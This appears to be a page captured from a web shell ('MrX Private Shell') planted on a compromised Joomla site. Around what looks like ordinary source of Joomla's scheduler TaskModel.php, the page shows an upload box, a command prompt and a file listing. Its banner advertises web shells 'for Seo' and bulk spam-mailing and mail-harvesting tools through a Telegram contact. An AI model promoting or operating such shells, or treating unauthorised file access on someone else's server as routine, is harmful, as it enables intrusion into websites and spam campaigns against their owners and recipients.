__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_scheduler
 *
 * @copyright   (C) 2021 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Scheduler\Administrator\Model;

use Joomla\CMS\Application\AdministratorApplication;
use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\Event\AbstractEvent;
use Joomla\CMS\Factory;
use Joomla\CMS\Form\Form;
use Joomla\CMS\Form\FormFactoryInterface;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Log\Log;
use Joomla\CMS\MVC\Factory\MVCFactoryInterface;
use Joomla\CMS\MVC\Model\AdminModel;
use Joomla\CMS\Object\CMSObject;
use Joomla\CMS\Plugin\PluginHelper;
use Joomla\CMS\Table\Table;
use Joomla\Component\Scheduler\Administrator\Helper\ExecRuleHelper;
use Joomla\Component\Scheduler\Administrator\Helper\SchedulerHelper;
use Joomla\Component\Scheduler\Administrator\Table\TaskTable;
use Joomla\Component\Scheduler\Administrator\Task\TaskOption;
use Joomla\Database\DatabaseInterface;
use Joomla\Database\ParameterType;
use Symfony\Component\OptionsResolver\Exception\AccessException;
use Symfony\Component\OptionsResolver\Exception\InvalidOptionsException;
use Symfony\Component\OptionsResolver\Exception\UndefinedOptionsException;
use Symfony\Component\OptionsResolver\OptionsResolver;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * MVC Model to interact with the Scheduler DB.
 * Implements methods to add, remove, edit tasks.
 *
 * @since  4.1.0
 */
class TaskModel extends AdminModel
{
    /**
     * Maps logical states to their values in the DB
     * ? Do we end up using this?
     *
     * @var array
     * @since  4.1.0
     */
    protected const TASK_STATES = [
        'enabled'  => 1,
        'disabled' => 0,
        'trashed'  => -2,
    ];

    /**
     * The name of the  database table with task records.
     *
     * @var  string
     * @since 4.1.0
     */
    public const TASK_TABLE = '#__scheduler_tasks';

    /**
     * Prefix used with controller messages
     *
     * @var string
     * @since  4.1.0
     */
    protected $text_prefix = 'COM_SCHEDULER';

    /**
     * Type alias for content type
     *
     * @var string
     * @since  4.1.0
     */
    public $typeAlias = 'com_scheduler.task';

    /**
     * The Application object, for convenience
     *
     * @var AdministratorApplication $app
     * @since  4.1.0
     */
    protected $app;

    /**
     * The event to trigger before unlocking the data.
     *
     * @var    string
     * @since  4.1.0
     */
    protected $event_before_unlock = null;

    /**
     * The event to trigger after unlocking the data.
     *
     * @var    string
     * @since  4.1.0
     */
    protected $event_unlock = null;

    /**
     * TaskModel constructor. Needed just to set $app
     *
     * @param   array                  $config       An array of configuration options
     * @param   ?MVCFactoryInterface   $factory      The factory
     * @param   ?FormFactoryInterface  $formFactory  The form factory
     *
     * @since  4.1.0
     * @throws \Exception
     */
    public function __construct($config = [], ?MVCFactoryInterface $factory = null, ?FormFactoryInterface $formFactory = null)
    {
        $config['events_map'] ??= [];

        $config['events_map'] = array_merge(
            [
                'save'     => 'task',
                'validate' => 'task',
                'unlock'   => 'task',
            ],
            $config['events_map']
        );

        if (isset($config['event_before_unlock'])) {
            $this->event_before_unlock = $config['event_before_unlock'];
        } elseif (empty($this->event_before_unlock)) {
            $this->event_before_unlock = 'onContentBeforeUnlock';
        }

        if (isset($config['event_unlock'])) {
            $this->event_unlock = $config['event_unlock'];
        } elseif (empty($this->event_unlock)) {
            $this->event_unlock = 'onContentUnlock';
        }

        $this->app = Factory::getApplication();

        parent::__construct($config, $factory, $formFactory);
    }

    /**
     * Fetches the form object associated with this model. By default,
     * loads the corresponding data from the DB and binds it with the form.
     *
     * @param   array  $data      Data that needs to go into the form
     * @param   bool   $loadData  Should the form load its data from the DB?
     *
     * @return Form|boolean  A Form object on success, false on failure.
     *
     * @since  4.1.0
     * @throws \Exception
     */
    public function getForm($data = [], $loadData = true)
    {
        Form::addFieldPath(JPATH_ADMINISTRATOR . 'components/com_scheduler/src/Field');

        /**
         *  loadForm() (defined by FormBehaviourTrait) also loads the form data by calling
         *  loadFormData() : $data [implemented here] and binds it to the form by calling
         *  $form->bind($data).
         */
        $form = $this->loadForm('com_scheduler.task', 'task', ['control' => 'jform', 'load_data' => $loadData]);

        if (empty($form)) {
            return false;
        }

        $user = $this->app->getIdentity();

        // If new entry, set task type from state
        if ($this->getState('task.id', 0) === 0 && $this->getState('task.type') !== null) {
            $form->setValue('type', null, $this->getState('task.type'));
        }

        // @todo : Check if this is working as expected for new items (id == 0)
        if (!$user->authorise('core.edit.state', 'com_scheduler.task.' . $this->getState('task.id'))) {
            // Disable fields
            $form->setFieldAttribute('state', 'disabled', 'true');

            // No "hacking" ._.
            $form->setFieldAttribute('state', 'filter', 'unset');
        }

        return $form;
    }

    /**
     * Determine whether a record may be deleted taking into consideration
     * the user's permissions over the record.
     *
     * @param   object  $record  The database row/record in question
     *
     * @return  boolean  True if the record may be deleted
     *
     * @since  4.1.0
     * @throws \Exception
     */
    protected function canDelete($record): bool
    {
        // Record doesn't exist, can't delete
        if (empty($record->id)) {
            return false;
        }

        return $this->app->getIdentity()->authorise('core.delete', 'com_scheduler.task.' . $record->id);
    }

    /**
     * Populate the model state, we use these instead of toying with input or the global state
     *
     * @return  void
     *
     * @since  4.1.0
     * @throws \Exception
     */
    protected function populateState(): void
    {
        $app = $this->app;

        $taskId   = $app->getInput()->getInt('id');
        $taskType = $app->getUserState('com_scheduler.add.task.task_type');

        // @todo: Remove this. Get the option through a helper call.
        $taskOption = $app->getUserState('com_scheduler.add.task.task_option');

        $this->setState('task.id', $taskId);
        $this->setState('task.type', $taskType);
        $this->setState('task.option', $taskOption);

        // Load component params, though com_scheduler does not (yet) have any params
        $cParams = ComponentHelper::getParams($this->option);
        $this->setState('params', $cParams);
    }

    /**
     * Don't need to define this method since the parent getTable()
     * implicitly deduces $name and $prefix anyways. This makes the object
     * more transparent though.
     *
     * @param   string  $name     Name of the table
     * @param   string  $prefix   Class prefix
     * @param   array   $options  Model config array
     *
     * @return Table
     *
     * @since  4.1.0
     * @throws \Exception
     */
    public function getTable($name = 'Task', $prefix = 'Administrator', $options = []): Table
    {
        return parent::getTable($name, $prefix, $options);
    }

    /**
     * Fetches the data to be injected into the form
     *
     * @return object  Associative array of form data.
     *
     * @since  4.1.0
     * @throws \Exception
     */
    protected function loadFormData()
    {
        $data = $this->app->getUserState('com_scheduler.edit.task.data', []);

        // If the data from UserState is empty, we fetch it with getItem()
        if (empty($data)) {
            /** @var CMSObject $data */
            $data = $this->getItem();

            // @todo : further data processing goes here

            // For a fresh object, set exec-day and exec-time
            if (!($data->id ?? 0)) {
                $data->execution_rules['exec-day']  = gmdate('d');
                $data->execution_rules['exec-time'] = gmdate('H:i');
            }

            if ($data->next_execution) {
                $data->next_execution = Factory::getDate($data->next_execution);
                $data->next_execution->setTimezone(new \DateTimeZone($this->app->get('offset', 'UTC')));
                $data->next_execution = $data->next_execution->toSql(true);
            }

            if ($data->last_execution) {
                $data->last_execution = Factory::getDate($data->last_execution);
                $data->last_execution->setTimezone(new \DateTimeZone($this->app->get('offset', 'UTC')));
                $data->last_execution = $data->last_execution->toSql(true);
            }
        }

        // Let plugins manipulate the data
        $this->preprocessData('com_scheduler.task', $data, 'task');

        return $data;
    }

    /**
     * Overloads the parent getItem() method.
     *
     * @param   integer  $pk  Primary key
     *
     * @return  object|boolean  Object on success, false on failure
     *
     * @since  4.1.0
     * @throws \Exception
     */
    public function getItem($pk = null)
    {
        $item = parent::getItem($pk);

        if (!\is_object($item)) {
            return false;
        }

        // Parent call leaves `execution_rules` and `cron_rules` JSON encoded
        $item->set('execution_rules', json_decode($item->get('execution_rules', '')));
        $item->set('cron_rules', json_decode($item->get('cron_rules', '')));

        $taskOption = SchedulerHelper::getTaskOptions()->findOption(
            ($item->id ?? 0) ? ($item->type ?? 0) : $this->getState('task.type')
        );

        $item->set('taskOption', $taskOption);

        return $item;
    }

    /**
     * Get a task from the database, only if an exclusive "lock" on the task can be acquired.
     * The method supports options to customise the limitations on the fetch.
     *
     * @param   array  $options  Array with options to fetch the task:
     *                           1. `id`: Optional id of the task to fetch.
     *                           2. `allowDisabled`: If true, disabled tasks can also be fetched.
     *                           (default: false)
     *                           3. `bypassScheduling`: If true, tasks that are not due can also be
     *                           fetched. Should only be true if an `id` is targeted instead of the
     *                           task queue. (default: false)
     *                           4. `allowConcurrent`: If true, fetches even when another task is
     *                           running ('locked'). (default: false)
     *                           5. `includeCliExclusive`: If true, can also fetch CLI exclusive tasks. (default: true)
     *
     * @return ?\stdClass  Task entry as in the database.
     *
     * @since   4.1.0
     * @throws UndefinedOptionsException|InvalidOptionsException
     * @throws \RuntimeException
     */
    public function getTask(array $options = []): ?\stdClass
    {
        $resolver = new OptionsResolver();

        try {
            static::configureTaskGetterOptions($resolver);
        } catch (\Exception $e) {
        }

        try {
            $options = $resolver->resolve($options);
        } catch (UndefinedOptionsException | InvalidOptionsException $e) {
            throw $e;
        }

        $db           = $this->getDatabase();
        $now          = Factory::getDate()->toSql();
        $affectedRows = 0;

        try {
            $db->lockTable(self::TASK_TABLE);

            if (!$options['allowConcurrent'] && $this->hasRunningTasks($db)) {
                return null;
            }

            $lockQuery = $this->buildLockQuery($db, $now, $options);

            if ($options['id'] > 0) {
                $lockQuery->where($db->quoteName('id') . ' = :taskId')
                    ->bind(':taskId', $options['id'], ParameterType::INTEGER);
            } else {
                $id = $this->getNextTaskId($db, $now, $options);
                if (\count($id) === 0) {
                    return null;
                }
                $lockQuery->where($db->quoteName('id') . ' = :taskId')
                    ->bind(':taskId', $id, ParameterType::INTEGER);
            }

            $db->setQuery($lockQuery)->execute();
            $affectedRows = $db->getAffectedRows();
        } catch (\RuntimeException) {
            return null;
        } finally {
            $db->unlockTables();
        }

        if ($affectedRows != 1) {
            return null;
        }

        return $this->fetchTask($db, $now);
    }

    /**
     * Checks if there are any running tasks in the database.
     *
     * @param DatabaseInterface $db The database driver to use.
     * @return bool True if there are running tasks, false otherwise.
     * @since 4.4.9
     */
    private function hasRunningTasks($db): bool
    {
        $lockCountQuery = $db->getQuery(true)
            ->select('COUNT(id)')
            ->from($db->quoteName(self::TASK_TABLE))
            ->where($db->quoteName('locked') . ' IS NOT NULL')
            ->where($db->quoteName('state') . ' = 1');

        try {
            $runningCount = $db->setQuery($lockCountQuery)->loadResult();
        } catch (\RuntimeException) {
            return false;
        }

        return $runningCount != 0;
    }

    /**
     * Builds a query to lock a task.
     *
     * @param Database $db The database object.
     * @param string $now The current time.
     * @param array $options The options for building the query.
     *                      - includeCliExclusive: Whether to include CLI exclusive tasks.
     *                      - bypassScheduling: Whether to bypass scheduling.
     *                      - allowDisabled: Whether to allow disabled tasks.
     *                      - id: The ID of the task.
     * @return Query The lock query.
     * @since 5.2.0
     */
    private function buildLockQuery($db, $now, $options)
    {
        $lockQuery = $db->getQuery(true)
            ->update($db->quoteName(self::TASK_TABLE))
            ->set($db->quoteName('locked') . ' = :now1')
            ->bind(':now1', $now);

        $activeRoutines = array_map(
            static function (TaskOption $taskOption): string {
                return $taskOption->id;
            },
            SchedulerHelper::getTaskOptions()->options
        );

        $lockQuery->whereIn($db->quoteName('type'), $activeRoutines, ParameterType::STRING);

        if (!$options['includeCliExclusive']) {
            $lockQuery->where($db->quoteName('cli_exclusive') . ' = 0');
        }

        if (!$options['bypassScheduling']) {
            $lockQuery->where($db->quoteName('next_execution') . ' <= :now2')
                ->bind(':now2', $now);
        }

        $stateCondition = $options['allowDisabled'] ? [0, 1] : [1];
        $lockQuery->whereIn($db->quoteName('state'), $stateCondition);

        return $lockQuery;
    }

    /**
     * Retrieves the ID of the next task based on the given criteria.
     *
     * @param DatabaseInterface $db The database object.
     * @param string $now The current time.
     * @param array $options The options for retrieving the next task.
     *                       - includeCliExclusive: Whether to include CLI exclusive tasks.
     *                       - bypassScheduling: Whether to bypass scheduling.
     *                       - allowDisabled: Whether to allow disabled tasks.
     * @return array The ID of the next task, or an empty array if no task is found.
     *
     * @since 5.2.0
     * @throws \RuntimeException If there is an error executing the query.
     */
    private function getNextTaskId($db, $now, $options)
    {
        $idQuery = $db->getQuery(true)
            ->from($db->quoteName(self::TASK_TABLE))
            ->select($db->quoteName('id'));

        $activeRoutines = array_map(
            static function (TaskOption $taskOption): string {
                return $taskOption->id;
            },
            SchedulerHelper::getTaskOptions()->options
        );

        $idQuery->whereIn($db->quoteName('type'), $activeRoutines, ParameterType::STRING);

        if (!$options['includeCliExclusive']) {
            $idQuery->where($db->quoteName('cli_exclusive') . ' = 0');
        }

        if (!$options['bypassScheduling']) {
            $idQuery->where($db->quoteName('next_execution') . ' <= :now2')
                ->bind(':now2', $now);
        }

        $stateCondition = $options['allowDisabled'] ? [0, 1] : [1];
        $idQuery->whereIn($db->quoteName('state'), $stateCondition);

        $idQuery->where($db->quoteName('next_execution') . ' IS NOT NULL')
            ->order($db->quoteName('priority') . ' DESC')
            ->order($db->quoteName('next_execution') . ' ASC')
            ->setLimit(1);

        try {
            return $db->setQuery($idQuery)->loadColumn();
        } catch (\RuntimeException) {
            return [];
        }
    }

    /**
     * Fetches a task from the database based on the current time.
     *
     * @param DatabaseInterface $db The database driver to use.
     * @param string $now The current time in the database's time format.
     * @return \stdClass|null The fetched task object, or null if no task was found.
     * @since 5.2.0
     * @throws \RuntimeException If there was an error executing the query.
     */
    private function fetchTask($db, $now): ?\stdClass
    {
        $getQuery = $db->getQuery(true)
            ->select('*')
            ->from($db->quoteName(self::TASK_TABLE))
            ->where($db->quoteName('locked') . ' = :now')
            ->bind(':now', $now);

        try {
            $task = $db->setQuery($getQuery)->loadObject();
        } catch (\RuntimeException) {
            return null;
        }

        $task->execution_rules = json_decode($task->execution_rules);
        $task->cron_rules      = json_decode($task->cron_rules);
        $task->taskOption      = SchedulerHelper::getTaskOptions()->findOption($task->type);

        return $task;
    }

    /**
     * Set up an {@see OptionsResolver} to resolve options compatible with the {@see GetTask()} method.
     *
     * @param   OptionsResolver  $resolver  The {@see OptionsResolver} instance to set up.
     *
     * @return OptionsResolver
     *
     * @since 4.1.0
     * @throws AccessException
     */
    public static function configureTaskGetterOptions(OptionsResolver $resolver): OptionsResolver
    {
        $resolver->setDefaults(
            [
                'id'                  => 0,
                'allowDisabled'       => false,
                'bypassScheduling'    => false,
                'allowConcurrent'     => false,
                'includeCliExclusive' => true,
            ]
        )
            ->setAllowedTypes('id', 'numeric')
            ->setAllowedTypes('allowDisabled', 'bool')
            ->setAllowedTypes('bypassScheduling', 'bool')
            ->setAllowedTypes('allowConcurrent', 'bool')
            ->setAllowedTypes('includeCliExclusive', 'bool');

        return $resolver;
    }

    /**
     * @param   array  $data  The form data
     *
     * @return  boolean  True on success, false on failure
     *
     * @since  4.1.0
     * @throws \Exception
     */
    public function save($data): bool
    {
        $id    = (int) ($data['id'] ?? $this->getState('task.id'));
        $isNew = $id === 0;

        // Clean up execution rules
        $data['execution_rules'] = $this->processExecutionRules($data['execution_rules']);

        // If a new entry, we'll have to put in place a pseudo-last_execution
        if ($isNew) {
            $basisDayOfMonth           = $data['execution_rules']['exec-day'];
            [$basisHour, $basisMinute] = explode(':', $data['execution_rules']['exec-time']);

            $data['last_execution'] = Factory::getDate('now', 'GMT')->format('Y-m')
                . "-$basisDayOfMonth $basisHour:$basisMinute:00";
        } else {
            $data['last_execution'] = $this->getItem($id)->last_execution;
        }

        // Build the `cron_rules` column from `execution_rules`
        $data['cron_rules'] = $this->buildExecutionRules($data['execution_rules']);

        // `next_execution` would be null if scheduling is disabled with the "manual" rule!
        $data['next_execution'] = (new ExecRuleHelper($data))->nextExec();

        if ($isNew) {
            $data['last_execution'] = null;
        }

        // If no params, we set as empty array.
        // ? Is this the right place to do this
        $data['params'] ??= [];

        // Parent method takes care of saving to the table
        return parent::save($data);
    }

    /**
     * Clean up and standardise execution rules
     *
     * @param   array  $unprocessedRules  The form data [? can just replace with execution_interval]
     *
     * @return array  Processed rules
     *
     * @since  4.1.0
     */
    private function processExecutionRules(array $unprocessedRules): array
    {
        $executionRules = $unprocessedRules;

        $ruleType       = $executionRules['rule-type'];
        $retainKeys     = ['rule-type', $ruleType, 'exec-day', 'exec-time'];
        $executionRules = array_intersect_key($executionRules, array_flip($retainKeys));

        // Default to current date-time in UTC/GMT as the basis
        $executionRules['exec-day']  = $executionRules['exec-day'] ?: (string) gmdate('d');
        $executionRules['exec-time'] = $executionRules['exec-time'] ?: (string) gmdate('H:i');

        // If custom ruleset, sort it
        // ? Is this necessary
        if ($ruleType === 'cron-expression') {
            foreach ($executionRules['cron-expression'] as &$values) {
                sort($values);
            }
        }

        return $executionRules;
    }

    /**
     * Private method to build execution expression from input execution rules.
     * This expression is used internally to determine execution times/conditions.
     *
     * @param   array  $executionRules  Execution rules from the Task form, post-processing.
     *
     * @return array
     *
     * @since  4.1.0
     * @throws \Exception
     */
    private function buildExecutionRules(array $executionRules): array
    {
        // Maps interval strings, use with \sprintf($map[intType], $interval)
        $intervalStringMap = [
            'minutes' => 'PT%dM',
            'hours'   => 'PT%dH',
            'days'    => 'P%dD',
            'months'  => 'P%dM',
            'years'   => 'P%dY',
        ];

        $ruleType        = $executionRules['rule-type'];
        $ruleClass       = str_starts_with($ruleType, 'interval') ? 'interval' : $ruleType;
        $buildExpression = '';

        if ($ruleClass === 'interval') {
            // Rule type for intervals interval-<minute/hours/...>
            $intervalType    = explode('-', $ruleType)[1];
            $interval        = $executionRules["interval-$intervalType"];
            $buildExpression = \sprintf($intervalStringMap[$intervalType], $interval);
        }

        if ($ruleClass === 'cron-expression') {
            // ! custom matches are disabled in the form
            $matches         = $executionRules['cron-expression'];
            $buildExpression .= $this->wildcardIfMatch($matches['minutes'], range(0, 59), true);
            $buildExpression .= ' ' . $this->wildcardIfMatch($matches['hours'], range(0, 23), true);
            $buildExpression .= ' ' . $this->wildcardIfMatch($matches['days_month'], range(1, 31), true);
            $buildExpression .= ' ' . $this->wildcardIfMatch($matches['months'], range(1, 12), true);
            $buildExpression .= ' ' . $this->wildcardIfMatch($matches['days_week'], range(0, 6), true);
        }

        return [
            'type' => $ruleClass,
            'exp'  => $buildExpression,
        ];
    }

    /**
     * This method releases "locks" on a set of tasks from the database.
     * These locks are pseudo-locks that are used to keep a track of running tasks. However, they require require manual
     * intervention to release these locks in cases such as when a task process crashes, leaving the task "locked".
     *
     * @param   array  $pks  A list of the primary keys to unlock.
     *
     * @return  boolean  True on success.
     *
     * @since   4.1.0
     * @throws \RuntimeException|\UnexpectedValueException|\BadMethodCallException
     */
    public function unlock(array &$pks): bool
    {
        /** @var TaskTable $table */
        $table = $this->getTable();

        $user = $this->getCurrentUser();

        $context = $this->option . '.' . $this->name;

        // Include the plugins for the change of state event.
        PluginHelper::importPlugin($this->events_map['unlock']);

        // Access checks.
        foreach ($pks as $i => $pk) {
            $table->reset();

            if ($table->load($pk)) {
                if (!$this->canEditState($table)) {
                    // Prune items that you can't change.
                    unset($pks[$i]);
                    Log::add(Text::_('JLIB_APPLICATION_ERROR_EDITSTATE_NOT_PERMITTED'), Log::WARNING, 'jerror');

                    return false;
                }

                // Prune items that are already at the given state.
                $lockedColumnName = $table->getColumnAlias('locked');

                if (property_exists($table, $lockedColumnName) && \is_null($table->$lockedColumnName)) {
                    unset($pks[$i]);
                }
            }
        }

        // Check if there are items to change.
        if (!\count($pks)) {
            return true;
        }

        $event = AbstractEvent::create(
            $this->event_before_unlock,
            [
                'subject' => $this,
                'context' => $context,
                'pks'     => $pks,
            ]
        );

        try {
            Factory::getApplication()->getDispatcher()->dispatch($this->event_before_unlock, $event);
        } catch (\RuntimeException $e) {
            $this->setError($e->getMessage());

            return false;
        }

        // Attempt to unlock the records.
        if (!$table->unlock($pks, $user->id)) {
            $this->setError($table->getError());

            return false;
        }

        // Trigger the after unlock event
        $event = AbstractEvent::create(
            $this->event_unlock,
            [
                'subject' => $this,
                'context' => $context,
                'pks'     => $pks,
            ]
        );

        try {
            Factory::getApplication()->getDispatcher()->dispatch($this->event_unlock, $event);
        } catch (\RuntimeException $e) {
            $this->setError($e->getMessage());

            return false;
        }

        // Clear the component's cache
        $this->cleanCache();

        return true;
    }

    /**
     * Determine if an array is populated by all its possible values by comparison to a reference array, if found a
     * match a wildcard '*' is returned.
     *
     * @param   array  $target       The target array
     * @param   array  $reference    The reference array, populated by the complete set of possible values in $target
     * @param   bool   $targetToInt  If true, converts $target array values to integers before comparing
     *
     * @return string  A wildcard string if $target is fully populated, else $target itself.
     *
     * @since  4.1.0
     */
    private function wildcardIfMatch(array $target, array $reference, bool $targetToInt = false): string
    {
        if ($targetToInt) {
            $target = array_map(
                static function (string $x): int {
                    return (int) $x;
                },
                $target
            );
        }

        $isMatch = array_diff($reference, $target) === [];

        return $isMatch ? "*" : implode(',', $target);
    }

    /**
     * Method to allow derived classes to preprocess the form.
     *
     * @param   Form    $form   A Form object.
     * @param   mixed   $data   The data expected for the form.
     * @param   string  $group  The name of the plugin group to import (defaults to "content").
     *
     * @return  void
     *
     * @since   4.1.0
     * @throws  \Exception if there is an error in the form event.
     */
    protected function preprocessForm(Form $form, $data, $group = 'content'): void
    {
        // Load the 'task' plugin group
        PluginHelper::importPlugin('task');

        // Let the parent method take over
        parent::preprocessForm($form, $data, $group);
    }
}

Filemanager

Name Type Size Permission Actions
LogModel.php File 1.54 KB 0664
LogsModel.php File 5.54 KB 0664
SelectModel.php File 1.64 KB 0664
TaskModel.php File 28.76 KB 0664
TasksModel.php File 18.65 KB 0664
Filemanager